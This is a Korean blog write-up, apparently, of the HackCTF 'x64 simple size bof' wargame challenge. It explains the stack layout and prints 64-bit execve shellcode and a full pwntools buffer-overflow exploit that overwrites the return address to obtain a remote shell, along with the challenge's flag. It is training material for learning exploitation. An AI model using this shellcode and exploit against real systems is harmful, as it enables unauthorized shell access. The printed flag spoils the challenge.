728x90
반응형
오늘은 hackctf의 x64 simple size bof 문제를 풀어볼 것이다.
처음에는 왜 제목이 이런지 이해를 못했는데 디컴파일후 그 이유를 알게 되었다.
일단 먼저 프로그램을 실행해보자.
그냥 자살방지 문제라고 하고 buf의 주소를 준다.
이제 디컴파일을 해보자.
아래처럼 나온다.
크기가 27952인 buf를 받는다.ㅋㅋㅋ
그러면 스택은 아래와 같다.
buf(v4) : 27952
sfp : 8
ret : 8
nop을 27960 - 23 byte 하고 shellcode(23byte)를 주고 buf의 주소를 넣으면 쉘 획득에 성공할 것이다.
shellcode(23byte)(64bit)
\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05
쉘코드를 잘 사용하자...ㅠ.ㅠ 32비트 쉘코드 사용해서 오류가 너무 낫ㅅ.......
이제 exploit code를 만들어 보자.
from pwn import *
#context.log_level = "debug"
#p = process("./bof")
p = remote("ctf.j0n9hyun.xyz",3005)
p.recvuntil("buf: ")
buf = int(p.recv(),16) #read buf address
print(hex(buf))
shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = shellcode
payload += b"\x90"*27937
payload += p64(buf)
p.sendline(payload)
p.interactive()
이제 스크립트를 실행해보자.
위처럼 쉘 획득에 성공한 것을 알 수 있다.
flag : HackCTF{s000000_5m4ll_4nd_5m4ll_51z3_b0f}
728x90
반응형
'워게임' 카테고리의 다른 글
HackCTF - Simple_Overflow_ver_2 (0) | 2021.07.27 |
---|---|
HackCTF - BOF_PIE (0) | 2021.07.27 |
HackCTF - x64 Buffer Overflow(writeup) (0) | 2021.07.26 |
HackCTF - 내 버퍼가 흘러넘친다!!!!(writeup) (0) | 2021.07.26 |
Dreamhack - basic_exploitation_000 (writeup) (0) | 2021.07.26 |